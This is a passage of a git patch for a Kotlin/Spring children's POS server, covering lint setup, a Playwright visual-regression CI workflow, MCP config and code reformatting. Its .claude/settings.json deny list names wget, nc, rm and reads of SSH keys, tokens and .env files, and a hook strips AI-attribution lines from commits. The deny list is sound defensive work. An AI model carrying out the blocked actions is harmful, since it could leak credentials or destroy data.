From de81a2e232d48857eb025c3b708c32a386ce86ac Mon Sep 17 00:00:00 2001 From: atsumi Date: Fri, 26 Sep 2025 20:54:07 +0900 Subject: [PATCH 1/9] =?UTF-8?q?feat:=20=E3=82=B3=E3=83=BC=E3=83=89?= =?UTF-8?q?=E5=93=81=E8=B3=AA=E6=94=B9=E5=96=84=E3=81=A8lint/format?= =?UTF-8?q?=E8=A8=AD=E5=AE=9A=E3=81=AE=E8=BF=BD=E5=8A=A0?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## 主な変更点 ### ビルド設定の更新 - Kotlinバージョンを2.2.20から2.0.21に変更(detektとの互換性確保) - ktlintプラグイン(v12.1.2)を追加 - detektを1.23.8にアップデート ### コードフォーマット - ktlintによる自動フォーマットを全ソースコードに適用 - 134ファイル、約5,000行のコード整形を実施 - インデント、空白、改行の統一 ### 開発環境の改善 - .editorconfigファイルを追加(コードスタイル設定) - Visual Resourceテスト(VRT)環境を追加 - GitHub Actionsワークフロー設定を追加 - MCP(Model Control Protocol)設定を追加 ### テスト - 全291テストが正常に動作(178 PASSED, 113 SKIPPED) - フォーマット後もテストに影響なし ## 利用可能なコマンド ```bash # コードフォーマット ./gradlew ktlintFormat # Lintチェック ./gradlew ktlintCheck # Detekt実行 ./gradlew detekt ``` --- .claude/settings.json | 66 +++ .editorconfig | 4 + .github/workflows/vrt.yml | 181 +++++++ .gitignore | 21 + .mcp.json | 48 ++ .vscode/settings.json | 3 + VRT-README.md | 208 +++++++++ build.gradle | 28 +- package.json | 17 + playwright.config.ts | 62 +++ .../nukoneko/kidspos/common/CharExtensions.kt | 5 +- .../info/nukoneko/kidspos/common/Commander.kt | 15 +- .../info/nukoneko/kidspos/common/Constants.kt | 3 +- .../nukoneko/kidspos/common/IntExtensions.kt | 4 +- .../nukoneko/kidspos/common/PrintCommand.kt | 23 +- .../kidspos/common/StringExtensions.kt | 4 +- .../common/service/IdGenerationService.kt | 22 +- .../nukoneko/kidspos/receipt/ReceiptDetail.kt | 2 +- .../kidspos/receipt/ReceiptPrinter.kt | 11 +- .../kidspos/server/ServerApplication.kt | 2 +- .../kidspos/server/config/AppConfig.kt | 2 +- .../kidspos/server/config/AppProperties.kt | 14 +- .../kidspos/server/config/CacheConfig.kt | 29 +- .../kidspos/server/config/OpenApiConfig.kt | 27 +- .../advice/GlobalExceptionHandler.kt | 133 +++--- .../controller/api/ItemApiController.kt | 131 +++--- .../controller/api/SaleApiController.kt | 55 ++- .../controller/api/SaleReportController.kt | 188 ++++++++ .../controller/api/SettingApiController.kt | 65 +-- .../controller/api/StaffApiController.kt | 44 +- .../controller/api/StoreApiController.kt | 28 +- .../controller/api/UserApiController.kt | 28 +- .../server/controller/api/model/ItemBean.kt | 2 +- .../server/controller/api/model/SaleBean.kt | 2 +- .../controller/api/model/SettingBean.kt | 5 +- .../server/controller/api/model/StaffBean.kt | 5 +- .../server/controller/api/model/StoreBean.kt | 2 +- .../dto/request/CreateItemRequest.kt | 6 +- .../dto/request/CreateSaleRequest.kt | 7 +- .../dto/request/CreateStaffRequest.kt | 6 +- .../dto/request/CreateStoreRequest.kt | 6 +- .../server/controller/dto/request/ItemBean.kt | 4 +- .../server/controller/dto/request/SaleBean.kt | 2 +- .../controller/dto/request/SettingBean.kt | 5 +- .../controller/dto/request/StaffBean.kt | 5 +- .../controller/dto/request/StoreBean.kt | 2 +- .../controller/dto/response/ErrorResponse.kt | 4 +- .../controller/dto/response/ItemResponse.kt | 4 +- .../controller/dto/response/SaleReportData.kt | 31 ++ .../controller/dto/response/SaleResponse.kt | 6 +- .../controller/dto/response/StaffResponse.kt | 4 +- .../controller/dto/response/StoreResponse.kt | 4 +- .../server/controller/front/IpController.kt | 30 +- .../controller/front/ItemsController.kt | 38 +- .../controller/front/ReportsController.kt | 18 + .../controller/front/SalesController.kt | 15 +- .../controller/front/SettingsController.kt | 9 +- .../controller/front/StaffsController.kt | 2 +- .../controller/front/StoresController.kt | 35 +- .../server/controller/front/TopController.kt | 32 +- .../domain/exception/BusinessException.kt | 37 +- .../exception/DuplicateResourceException.kt | 4 +- .../exception/ResourceNotFoundException.kt | 4 +- .../kidspos/server/entity/ItemEntity.kt | 2 +- .../kidspos/server/entity/SaleDetailEntity.kt | 2 +- .../kidspos/server/entity/SaleEntity.kt | 2 +- .../kidspos/server/entity/SettingEntity.kt | 5 +- .../kidspos/server/entity/StaffEntity.kt | 5 +- .../kidspos/server/entity/StoreEntity.kt | 4 +- .../server/repository/ItemRepository.kt | 7 +- .../server/repository/SaleDetailRepository.kt | 2 +- .../server/repository/SaleRepository.kt | 14 +- .../server/repository/SettingRepository.kt | 2 +- .../server/repository/StaffRepository.kt | 2 +- .../server/repository/StoreRepository.kt | 2 +- .../specification/ItemSpecification.kt | 39 +- .../server/security/DataEncryptionService.kt | 35 +- .../kidspos/server/service/BackupManager.kt | 29 +- .../kidspos/server/service/BarcodeService.kt | 183 ++++---- .../kidspos/server/service/BaseService.kt | 2 +- .../kidspos/server/service/FileManager.kt | 19 +- .../server/service/ItemParsingService.kt | 42 +- .../kidspos/server/service/ItemService.kt | 21 +- .../server/service/OptimizedQueryService.kt | 55 ++- .../server/service/ReceiptResourceManager.kt | 45 +- .../kidspos/server/service/ReceiptService.kt | 54 ++- .../kidspos/server/service/ResourceManager.kt | 75 +-- .../service/ResourceManagerRefactored.kt | 54 ++- .../server/service/SaleCalculationService.kt | 27 +- .../server/service/SaleExcelReportService.kt | 384 +++++++++++++++ .../server/service/SalePersistenceService.kt | 77 +-- .../server/service/SaleProcessingService.kt | 69 +-- .../server/service/SaleReportService.kt | 279 +++++++++++ .../kidspos/server/service/SaleService.kt | 55 ++- .../server/service/SaleValidationService.kt | 26 +- .../server/service/SecureQueryService.kt | 56 ++- .../kidspos/server/service/SettingService.kt | 15 +- .../kidspos/server/service/StaffService.kt | 4 +- .../kidspos/server/service/StoreService.kt | 40 +- .../kidspos/server/service/StreamProcessor.kt | 20 +- .../server/service/ValidationService.kt | 19 +- .../server/service/mapper/ItemMapper.kt | 24 +- .../server/service/mapper/SaleMapper.kt | 34 +- .../server/service/mapper/StaffMapper.kt | 14 +- .../server/service/mapper/StoreMapper.kt | 14 +- .../kidspos/server/validation/ValidBarcode.kt | 11 +- src/main/resources/templates/index.html | 12 + .../resources/templates/reports/sales.html | 266 +++++++++++ .../nukoneko/kidspos/common/ConstantsTest.kt | 3 +- .../common/service/IdGenerationServiceTest.kt | 3 +- .../kidspos/server/CodeConventionTest.kt | 60 ++- .../kidspos/server/GradleOptimizationTest.kt | 39 +- .../kidspos/server/JakartaMigrationTest.kt | 53 ++- .../kidspos/server/KDocComplianceTest.kt | 45 +- .../kidspos/server/OpenApiIntegrationTest.kt | 24 +- .../kidspos/server/TestConfiguration.kt | 3 +- .../architecture/PackageStructureTest.kt | 6 +- .../server/config/AppPropertiesTest.kt | 6 +- .../kidspos/server/config/CacheConfigTest.kt | 2 +- .../server/config/OpenApiTestConfiguration.kt | 7 +- .../advice/GlobalExceptionHandlerTest.kt | 42 +- .../controller/api/ItemApiControllerTest.kt | 231 ++++----- .../api/ItemApiControllerUnitTest.kt | 149 +++--- .../controller/api/SaleApiControllerTest.kt | 262 ++++++----- .../api/SaleApiControllerUnitTest.kt | 177 +++---- .../api/SettingApiControllerUnitTest.kt | 3 +- .../api/StaffApiControllerUnitTest.kt | 26 +- .../api/StoreApiControllerUnitTest.kt | 25 +- .../server/repository/ItemRepositoryTest.kt | 67 +-- .../repository/QueryOptimizationTest.kt | 88 ++-- .../server/repository/SaleRepositoryTest.kt | 97 ++-- .../server/repository/StaffRepositoryTest.kt | 100 ++-- .../security/DataExposureSecurityTest.kt | 208 +++++---- .../security/InputValidationSecurityTest.kt | 442 +++++++++--------- .../server/security/OWASPSecurityTest.kt | 267 ++++++----- .../server/service/BarcodeServiceTest.kt | 134 +++--- .../server/service/CacheServiceTest.kt | 13 +- .../service/ConstructorInjectionTest.kt | 15 +- .../kidspos/server/service/FileManagerTest.kt | 3 +- .../server/service/ItemParsingServiceTest.kt | 2 +- .../kidspos/server/service/ItemServiceTest.kt | 89 ++-- .../server/service/ReceiptServiceTest.kt | 40 +- .../server/service/ResourceManagementTest.kt | 8 +- .../service/SaleProcessingServiceTest.kt | 113 ++--- .../server/service/StaffServiceTest.kt | 29 +- .../server/service/StoreServiceTest.kt | 62 +-- .../server/service/StreamProcessorTest.kt | 3 +- .../service/ValidationServiceUnitTest.kt | 24 +- tests/vrt/pages.spec.ts | 122 +++++ 149 files changed, 4755 insertions(+), 2294 deletions(-) create mode 100644 .claude/settings.json create mode 100644 .editorconfig create mode 100644 .github/workflows/vrt.yml create mode 100644 .mcp.json create mode 100644 .vscode/settings.json create mode 100644 VRT-README.md create mode 100644 package.json create mode 100644 playwright.config.ts create mode 100644 src/main/kotlin/info/nukoneko/kidspos/server/controller/api/SaleReportController.kt create mode 100644 src/main/kotlin/info/nukoneko/kidspos/server/controller/dto/response/SaleReportData.kt create mode 100644 src/main/kotlin/info/nukoneko/kidspos/server/controller/front/ReportsController.kt create mode 100644 src/main/kotlin/info/nukoneko/kidspos/server/service/SaleExcelReportService.kt create mode 100644 src/main/kotlin/info/nukoneko/kidspos/server/service/SaleReportService.kt create mode 100644 src/main/resources/templates/reports/sales.html create mode 100644 tests/vrt/pages.spec.ts diff --git a/.claude/settings.json b/.claude/settings.json new file mode 100644 index 0000000..70195fa --- /dev/null +++ b/.claude/settings.json @@ -0,0 +1,66 @@ +{ + "$schema": "https://json.schemastore.org/claude-code-settings.json", + "includeCoAuthoredBy": false, + "enableAllProjectMcpServers": true, + "permissions": { + "allow": [ + "Bash(gemini:*)", + "Bash(git:*)" + ], + "deny": [ + "Bash(sudo:*)", + "Read(.env.*)", + "Read(id_rsa)", + "Read(id_ed25519)", + "Read(**/*token*)", + "Read(**/*key*)", + "Write(.env*)", + "Write(**/secrets/**)", + "Bash(wget:*)", + "Bash(nc:*)", + "Bash(rm:*)", + "Bash(npm uninstall:*)", + "Bash(npm remove:*)", + "Bash(psql:*)", + "Bash(mysql:*)", + "Bash(mongod:*)", + "mcp__supabase__execute_sql" + ] + }, + "hooks": { + "PreToolUse": [ + { + "matcher": "Bash", + "hooks": [ + { + "type": "command", + "command": "if jq -r '.tool_input.command' | grep -q '^git commit' && jq -r '.tool_input.command' | grep -q '🤖 Generated with'; then echo 'Error: コミットメッセージに AI 署名が含まれている' 1>&2; exit 2; fi" + } + ] + } + ], + "PostToolUse": [], + "Notification": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "osascript -e 'display notification \"確認待ち\" with title \"Claude Code\"'" + } + ] + } + ], + "Stop": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "osascript -e 'display notification \"タスク完了\" with title \"Claude Code\"'" + } + ] + } + ] + } +} diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 0000000..8330660 --- /dev/null +++ b/.editorconfig @@ -0,0 +1,4 @@ +[*.{kt,kts}] +ktlint_code_style = ktlint_official +ktlint_standard_no-wildcard-imports = disabled +ktlint_standard_filename = disabled \ No newline at end of file diff --git a/.github/workflows/vrt.yml b/.github/workflows/vrt.yml new file mode 100644 index 0000000..6db095c --- /dev/null +++ b/.github/workflows/vrt.yml @@ -0,0 +1,181 @@ +name: Visual Regression Testing + +on: + pull_request: + types: [opened, synchronize, reopened] + paths-ignore: + - '**.md' + - 'docs/**' + - '.gitignore' + +jobs: + vrt: + name: Visual Regression Tests + runs-on: ubuntu-latest + timeout-minutes: 30 + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Set up Java + uses: actions/setup-java@v4 + with: + distribution: 'temurin' + java-version: '21' + cache: 'gradle' + + - name: Set up Node.js + uses: actions/setup-node@v4 + with: + node-version: '20' + cache: 'npm' + + - name: Install dependencies + run: | + npm ci + npx playwright install --with-deps chromium + + - name: Build application + run: ./gradlew build -x test -x detekt + + - name: Start application + run: | + ./gradlew bootRun & + sleep 30 + curl --retry 10 --retry-delay 5 --retry-connrefused http://localhost:8080 + + - name: Run Visual Regression Tests + run: npm run test:vrt + env: + BASE_URL: http://localhost:8080 + + - name: Upload test report + if: always() + uses: actions/upload-artifact@v4 + with: + name: playwright-report + path: playwright-report/ + retention-days: 7 + + - name: Upload test results + if: always() + uses: actions/upload-artifact@v4 + with: + name: test-results + path: test-results/ + retention-days: 7 + + - name: Upload snapshots on failure + if: failure() + uses: actions/upload-artifact@v4 + with: + name: failed-snapshots + path: | + tests/vrt/**/*-actual.png + tests/vrt/**/*-diff.png + retention-days: 30 + + - name: Comment PR with results + if: always() && github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + let message = '## 🎨 Visual Regression Test Results\n\n'; + + // Check if tests passed + if (${{ job.status }} === 'success') { + message += '✅ **All visual regression tests passed!**\n\n'; + message += 'All page screenshots match the expected baselines.\n'; + } else { + message += '❌ **Visual regression tests failed**\n\n'; + message += 'Some pages have visual differences. Please review the artifacts:\n\n'; + message += '### 📋 Actions to take:\n'; + message += '1. [Download test artifacts](https://github.com/${{ github.repository }}/actions/runs/${{ github.run_id }})\n'; + message += '2. Review the diff images to understand the changes\n'; + message += '3. If changes are intentional, add `update-snapshots` label to this PR\n'; + } + + message += '\n### 📊 Test Coverage\n'; + message += '- Desktop (1280x720)\n'; + message += '- Tablet (iPad)\n'; + message += '- Mobile (iPhone 13)\n'; + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: message + }) + + update-snapshots: + name: Update Visual Snapshots + if: github.event_name == 'pull_request' && contains(github.event.pull_request.labels.*.name, 'update-snapshots') + runs-on: ubuntu-latest + timeout-minutes: 30 + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + token: ${{ secrets.GITHUB_TOKEN }} + ref: ${{ github.event.pull_request.head.ref }} + + - name: Set up Java + uses: actions/setup-java@v4 + with: + distribution: 'temurin' + java-version: '21' + cache: 'gradle' + + - name: Set up Node.js + uses: actions/setup-node@v4 + with: + node-version: '20' + cache: 'npm' + + - name: Install dependencies + run: | + npm ci + npx playwright install --with-deps chromium + + - name: Build application + run: ./gradlew build -x test -x detekt + + - name: Start application + run: | + ./gradlew bootRun & + sleep 30 + curl --retry 10 --retry-delay 5 --retry-connrefused http://localhost:8080 + + - name: Update snapshots + run: npm run test:vrt:update + env: + BASE_URL: http://localhost:8080 + + - name: Commit updated snapshots + run: | + git config --local user.email "github-actions[bot]@users.noreply.github.com" + git config --local user.name "github-actions[bot]" + git add tests/vrt/**/*.png + if git diff --staged --quiet; then + echo "No snapshot changes detected" + else + git commit -m "chore: update visual regression snapshots" + git push + fi + + - name: Remove label + if: always() + uses: actions/github-script@v7 + with: + script: | + await github.rest.issues.removeLabel({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: context.issue.number, + name: 'update-snapshots' + }) \ No newline at end of file diff --git a/.gitignore b/.gitignore index 433943c..cc02789 100644 --- a/.gitignore +++ b/.gitignore @@ -41,3 +41,24 @@ migration-plan.md local.properties .playwright-mcp + +## Node.js +node_modules/ +npm-debug.log* +yarn-debug.log* +yarn-error.log* +package-lock.json +yarn.lock + +## Playwright +playwright-report/ +test-results/ +tests/vrt/**/*.png-snapshots/ +tests/vrt/**/*-actual.png +tests/vrt/**/*-diff.png +tests/vrt/**/*-expected.png + +## Environment variables +.env +.env.local +.env.*.local diff --git a/.mcp.json b/.mcp.json new file mode 100644 index 0000000..da39ea4 --- /dev/null +++ b/.mcp.json @@ -0,0 +1,48 @@ +{ + "mcpServers": { + "serena": { + "type": "stdio", + "command": "uvx", + "args": [ + "--from", + "git+https://github.com/oraios/serena", + "serena-mcp-server", + "--context", + "ide-assistant", + "--project", + "." + ], + "env": {} + }, + "playwright": { + "command": "npx", + "args": [ + "@playwright/mcp@latest" + ] + }, + "sequential-thinking": { + "command": "npx", + "args": [ + "-y", + "@modelcontextprotocol/server-sequential-thinking" + ] + }, + "context7": { + "command": "npx", + "args": [ + "-y", + "@upstash/context7-mcp" + ] + } + }, + "scopes": { + "ide-assistant": { + "mcpServers": [ + "serena", + "playwright", + "sequential-thinking", + "context7" + ] + } + } +} diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..04cd618 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,3 @@ +{ + "java.configuration.updateBuildConfiguration": "automatic" +} diff --git a/VRT-README.md b/VRT-README.md new file mode 100644 index 0000000..e7d15d8 --- /dev/null +++ b/VRT-README.md @@ -0,0 +1,208 @@ +# Visual Regression Testing (VRT) Setup Guide + +## 概要 + +KidsPOS ServerではPlaywrightを使用したVisual Regression Testing (VRT)を実装しています。 +PRごとにUIの見た目の変更を自動的に検出し、意図しない変更を防ぎます。 +すべてGitHubで完結し、外部サービスは不要です。 + +## 技術スタック + +- **Playwright**: ブラウザ自動化とスクリーンショット比較 +- **GitHub Actions**: CI/CDパイプラインでの自動実行 +- **GitHub Artifacts**: テスト結果とスクリーンショットの保存 + +## ローカルセットアップ + +### 1. 依存関係のインストール + +```bash +# Node.js依存関係のインストール +npm install + +# Playwrightブラウザのインストール +npx playwright install --with-deps chromium +``` + +### 2. アプリケーションの起動 + +```bash +# Spring Bootアプリケーションを起動 +./gradlew bootRun +``` + +### 3. VRTの実行 + +```bash +# 基本的なVRT実行(スクリーンショット比較) +npm run test:vrt + +# スナップショットの更新 +npm run test:vrt:update + +# レポートの表示 +npm run test:vrt:report +``` + +## GitHub Actions設定 + +### ワークフローのトリガー + +VRTは以下のタイミングで自動実行されます: + +1. **PR作成時**: 全ページのスクリーンショットを取得 +2. **PR更新時**: 変更を再チェック +3. **手動更新**: `update-snapshots`ラベルをPRに追加 + +### テスト結果の確認 + +1. **PRのChecksタブ**: テストの成功/失敗を確認 +2. **Artifacts**: 以下のファイルがダウンロード可能 + - `playwright-report`: HTMLレポート + - `test-results`: テスト実行結果 + - `failed-snapshots`: 失敗時の差分画像 + +## テスト対象ページ + +現在、以下のページがVRTの対象です: + +- ホームページ (`/`) +- 商品管理 (`/items`) +- 店舗管理 (`/stores`) +- スタッフ管理 (`/staffs`) +- 売上管理 (`/sales`) +- 売上レポート (`/reports/sales`) + +各ページは以下のビューポートでテストされます: + +- **Desktop**: 1280x720 +- **Tablet**: iPad (768x1024) +- **Mobile**: iPhone 13 (375x667) + +## スナップショットの更新 + +### 自動更新(推奨) + +1. PRに`update-snapshots`ラベルを追加 +2. GitHub Actionsが自動的にスナップショットを更新 +3. 更新されたスナップショットが自動コミット +4. ラベルは自動的に削除される + +### 手動更新 + +```bash +# ローカルでスナップショットを更新 +npm run test:vrt:update + +# 変更をコミット +git add tests/vrt/**/*.png +git commit -m "chore: update visual regression snapshots" +git push +``` + +## ディレクトリ構造 + +``` +tests/ +└── vrt/ + ├── pages.spec.ts # テストスクリプト + └── pages.spec.ts-snapshots/ # スナップショット画像 + ├── homepage-chromium-linux.png + ├── items-page-chromium-linux.png + └── ... +``` + +## トラブルシューティング + +### よくある問題と解決方法 + +#### 1. スナップショットの不一致 + +```bash +# 差分を確認 +npm run test:vrt:report + +# 期待される変更の場合はスナップショットを更新 +npm run test:vrt:update +``` + +#### 2. タイムアウトエラー + +`playwright.config.ts`でタイムアウトを調整: + +```javascript +use: { + navigationTimeout: 60000, + actionTimeout: 30000, +} +``` + +#### 3. フォントの違い + +異なるOS間でのフォントの違いは、CSSで統一フォントを指定して対処: + +```css +* { + font-family: 'Arial', sans-serif !important; +} +``` + +## ベストプラクティス + +### 1. 動的コンテンツの扱い + +- タイムスタンプなど変化する要素は`data-test-id`属性で識別 +- テスト時に非表示にするか、固定値に置換 + +### 2. アニメーションの無効化 + +テスト実行時はアニメーションを無効にする: + +```javascript +animations: 'disabled' +``` + +### 3. 待機処理 + +ページの完全読み込みを待つ: + +```javascript +await page.waitForLoadState('networkidle'); +``` + +### 4. レビュープロセス + +- 意図的なUI変更は必ずPRで説明 +- スナップショット更新は別コミットに +- 差分画像を必ず確認してから承認 + +## 開発フロー + +1. **機能開発**: UI変更を実装 +2. **ローカル確認**: `npm run test:vrt`で変更を確認 +3. **PR作成**: 変更内容を説明 +4. **自動テスト**: GitHub ActionsでVRT実行 +5. **差分確認**: Artifactsから差分を確認 +6. **更新**: 必要に応じて`update-snapshots`ラベルを追加 +7. **マージ**: レビュー後にマージ + +## コマンドリファレンス + +```bash +# VRT実行 +npm run test:vrt + +# スナップショット更新 +npm run test:vrt:update + +# HTMLレポート表示 +npm run test:vrt:report + +# Playwrightインストール +npm run playwright:install +``` + +## 参考リンク + +- [Playwright Documentation](https://playwright.dev/) +- [GitHub Actions Documentation](https://docs.github.com/en/actions) diff --git a/build.gradle b/build.gradle index 1deaaa8..56990bd 100644 --- a/build.gradle +++ b/build.gradle @@ -1,6 +1,6 @@ buildscript { ext { - kotlinVersion = '2.2.20' + kotlinVersion = '2.0.21' springBootVersion = '3.2.0' } repositories { @@ -11,10 +11,14 @@ buildscript { classpath("org.jetbrains.kotlin:kotlin-gradle-plugin:${kotlinVersion}") classpath("org.jetbrains.kotlin:kotlin-allopen:${kotlinVersion}") classpath("org.jetbrains.kotlin:kotlin-noarg:${kotlinVersion}") - classpath("io.gitlab.arturbosch.detekt:detekt-gradle-plugin:1.23.7") + classpath("io.gitlab.arturbosch.detekt:detekt-gradle-plugin:1.23.8") } } +plugins { + id 'org.jlleitschuh.gradle.ktlint' version '12.1.2' +} + apply plugin: 'kotlin' apply plugin: 'kotlin-spring' apply plugin: 'kotlin-jpa' @@ -56,6 +60,10 @@ dependencies { implementation 'com.google.zxing:core:3.5.1' implementation 'com.google.zxing:javase:3.5.1' + // Apache POI for Excel generation + implementation 'org.apache.poi:poi:5.2.4' + implementation 'org.apache.poi:poi-ooxml:5.2.4' + // OpenAPI/Swagger dependencies for API documentation implementation 'org.springdoc:springdoc-openapi-starter-webmvc-ui:2.2.0' @@ -178,6 +186,22 @@ tasks.withType(io.gitlab.arturbosch.detekt.Detekt).configureEach { exclude("**/*.kts") } +// Ktlint configuration +ktlint { + version = "1.5.0" + debug = false + verbose = false + android = false + outputToConsole = true + outputColorName = "RED" + ignoreFailures = false + enableExperimentalRules = false + filter { + exclude("**/build/**") + exclude("**/generated/**") + } +} + // Temporarily disabled - coverage requirements // check.dependsOn jacocoTestCoverageVerification diff --git a/package.json b/package.json new file mode 100644 index 0000000..1c831d7 --- /dev/null +++ b/package.json @@ -0,0 +1,17 @@ +{ + "name": "kidspos-server-vrt", + "version": "1.0.0", + "description": "Visual Regression Testing for KidsPOS Server", + "scripts": { + "test:vrt": "playwright test", + "test:vrt:update": "playwright test --update-snapshots", + "test:vrt:report": "playwright show-report", + "playwright:install": "playwright install --with-deps chromium" + }, + "devDependencies": { + "@playwright/test": "^1.48.0" + }, + "engines": { + "node": ">=18.0.0" + } +} \ No newline at end of file diff --git a/playwright.config.ts b/playwright.config.ts new file mode 100644 index 0000000..0cd7b8b --- /dev/null +++ b/playwright.config.ts @@ -0,0 +1,62 @@ +import { defineConfig, devices } from '@playwright/test'; + +export default defineConfig({ + testDir: './tests/vrt', + /* Run tests in files in parallel */ + fullyParallel: true, + /* Fail the build on CI if you accidentally left test.only in the source code. */ + forbidOnly: !!process.env.CI, + /* Retry on CI only */ + retries: process.env.CI ? 2 : 0, + /* Opt out of parallel tests on CI. */ + workers: process.env.CI ? 1 : undefined, + /* Reporter to use */ + reporter: [ + ['list'], + ['html', { outputFolder: 'playwright-report' }], + process.env.CI ? ['github'] : null + ].filter(Boolean) as any, + + /* Shared settings for all the projects below */ + use: { + /* Base URL to use in actions like `await page.goto('/')` */ + baseURL: process.env.BASE_URL || 'http://localhost:8080', + /* Collect trace when retrying the failed test */ + trace: 'on-first-retry', + /* Take screenshot on failure */ + screenshot: 'only-on-failure', + /* Video recording on failure */ + video: 'retain-on-failure', + }, + + /* Configure projects for major browsers */ + projects: [ + { + name: 'chromium', + use: { + ...devices['Desktop Chrome'], + viewport: { width: 1280, height: 720 } + }, + }, + { + name: 'mobile', + use: { + ...devices['iPhone 13'], + }, + }, + { + name: 'tablet', + use: { + ...devices['iPad (gen 7)'], + }, + }, + ], + + /* Run your local dev server before starting the tests */ + webServer: process.env.CI ? { + command: './gradlew bootRun', + port: 8080, + reuseExistingServer: !process.env.CI, + timeout: 120 * 1000, + } : undefined, +}); \ No newline at end of file diff --git a/src/main/kotlin/info/nukoneko/kidspos/common/CharExtensions.kt b/src/main/kotlin/info/nukoneko/kidspos/common/CharExtensions.kt index c5caac0..45fff4f 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/common/CharExtensions.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/common/CharExtensions.kt @@ -1,7 +1,7 @@ package info.nukoneko.kidspos.common -fun Char.toEm(): String { - return when (this) { +fun Char.toEm(): String = + when (this) { '0' -> "0" '1' -> "1" '2' -> "2" @@ -17,4 +17,3 @@ fun Char.toEm(): String { ' ' -> " " else -> this.toString() } -} diff --git a/src/main/kotlin/info/nukoneko/kidspos/common/Commander.kt b/src/main/kotlin/info/nukoneko/kidspos/common/Commander.kt index 369b84c..bc3c63c 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/common/Commander.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/common/Commander.kt @@ -8,14 +8,15 @@ abstract class Commander { } fun writeByteArray(byte: ByteArray) { - commands = ByteArray(commands.size + byte.size) { - if (it < commands.size) { - commands[it] - } else { - byte[it - commands.size] + commands = + ByteArray(commands.size + byte.size) { + if (it < commands.size) { + commands[it] + } else { + byte[it - commands.size] + } } - } } fun build(): ByteArray = commands -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/common/Constants.kt b/src/main/kotlin/info/nukoneko/kidspos/common/Constants.kt index e43e832..e3adef2 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/common/Constants.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/common/Constants.kt @@ -4,7 +4,6 @@ package info.nukoneko.kidspos.common * Application-wide constants */ object Constants { - /** * Barcode-related constants */ @@ -42,4 +41,4 @@ object Constants { const val ALIGN_LEFT = "${ESC_CODE}a0" const val CUT_PAPER = "${GS_CODE}V0" } -} \ No newline at end of file +} diff --git a/src/main/kotlin/info/nukoneko/kidspos/common/IntExtensions.kt b/src/main/kotlin/info/nukoneko/kidspos/common/IntExtensions.kt index ceacfe8..14e8957 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/common/IntExtensions.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/common/IntExtensions.kt @@ -1,5 +1,3 @@ package info.nukoneko.kidspos.common -fun Int.toEm(): String { - return toString().toAllEm() -} \ No newline at end of file +fun Int.toEm(): String = toString().toAllEm() diff --git a/src/main/kotlin/info/nukoneko/kidspos/common/PrintCommand.kt b/src/main/kotlin/info/nukoneko/kidspos/common/PrintCommand.kt index 88ddb62..43d6407 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/common/PrintCommand.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/common/PrintCommand.kt @@ -2,8 +2,9 @@ package info.nukoneko.kidspos.common import java.nio.charset.Charset -class PrintCommand(private val textEncoding: Charset) : Commander() { - +class PrintCommand( + private val textEncoding: Charset, +) : Commander() { init { // 初期化 writeBytes(0x1B, 0x40) @@ -14,7 +15,7 @@ class PrintCommand(private val textEncoding: Charset) : Commander() { writeBytes(0x1B, 0x61, 0x01) // ESC = 周辺機器の指定 カスタマーディスプレイを介してプリンタへ送信 - /// スタイル調整 + // / スタイル調整 // 改行量 writeBytes(0x1B, 0x33, 0x28) } @@ -27,10 +28,6 @@ class PrintCommand(private val textEncoding: Charset) : Commander() { } /** - * - */ - - /*** * CODE39バーコード印字 * 最後に改行もする */ @@ -38,12 +35,12 @@ class PrintCommand(private val textEncoding: Charset) : Commander() { writeBytes( 0x1D, 0x68, - 0x50 + 0x50, ) // 高さ設定 80(0x50) * 1dot(0.125mm) = 80dot(10mm) writeBytes( 0x1D, 0x67, - 0x02 + 0x02, ) // モジュール幅設定 3(0x03) * 1dot(0.125mm) = 3dot <2から6> writeBytes(0x1D, 0x48, 0x00) // 解説文字印字(印字しない) writeBytes(0x1D, 0x6B, 0x45) // CODE39指定 @@ -68,7 +65,7 @@ class PrintCommand(private val textEncoding: Charset) : Commander() { 0, 0x31, 0x50, - 0x30 + 0x30, ) writeByteArray(code.toByteArray(textEncoding)) writeBytes(0x1D, 0x28, 0x6B, 0x03, 0x00, 0x31, 0x51, 0x30) @@ -118,11 +115,13 @@ class PrintCommand(private val textEncoding: Charset) : Commander() { */ fun cut() { // 裁断 - writeBytes(0x1B, 0x64, 0x04) //下部余白の調整は ここの3バイト目 + writeBytes(0x1B, 0x64, 0x04) // 下部余白の調整は ここの3バイト目 writeBytes(0x1D, 0x56, 0x30, 0x0) } enum class Direction { - LEFT, CENTER, RIGHT + LEFT, + CENTER, + RIGHT, } } diff --git a/src/main/kotlin/info/nukoneko/kidspos/common/StringExtensions.kt b/src/main/kotlin/info/nukoneko/kidspos/common/StringExtensions.kt index b5a6c59..53a5d67 100644 --- a/src/main/kotlin/info/nukoneko/kidspos/common/StringExtensions.kt +++ b/src/main/kotlin/info/nukoneko/kidspos/common/StringExtensions.kt @@ -1,5 +1,3 @@ package info.nukoneko.kidspos.common -fun String.toAllEm(): String { - return map { it.toEm() }.joinToString("") -} +fun String.toAllEm(): String = map { it.toEm() }.joinToString("") diff --git a/src/main/kotlin/info/nukoneko/kidspos/common/service/IdGenerationService.kt b/src/main/kotlin/info/nukoneko/kidspos/common/service/IdGenerationService.kt index a6ac7af..21ad238 100644 --- 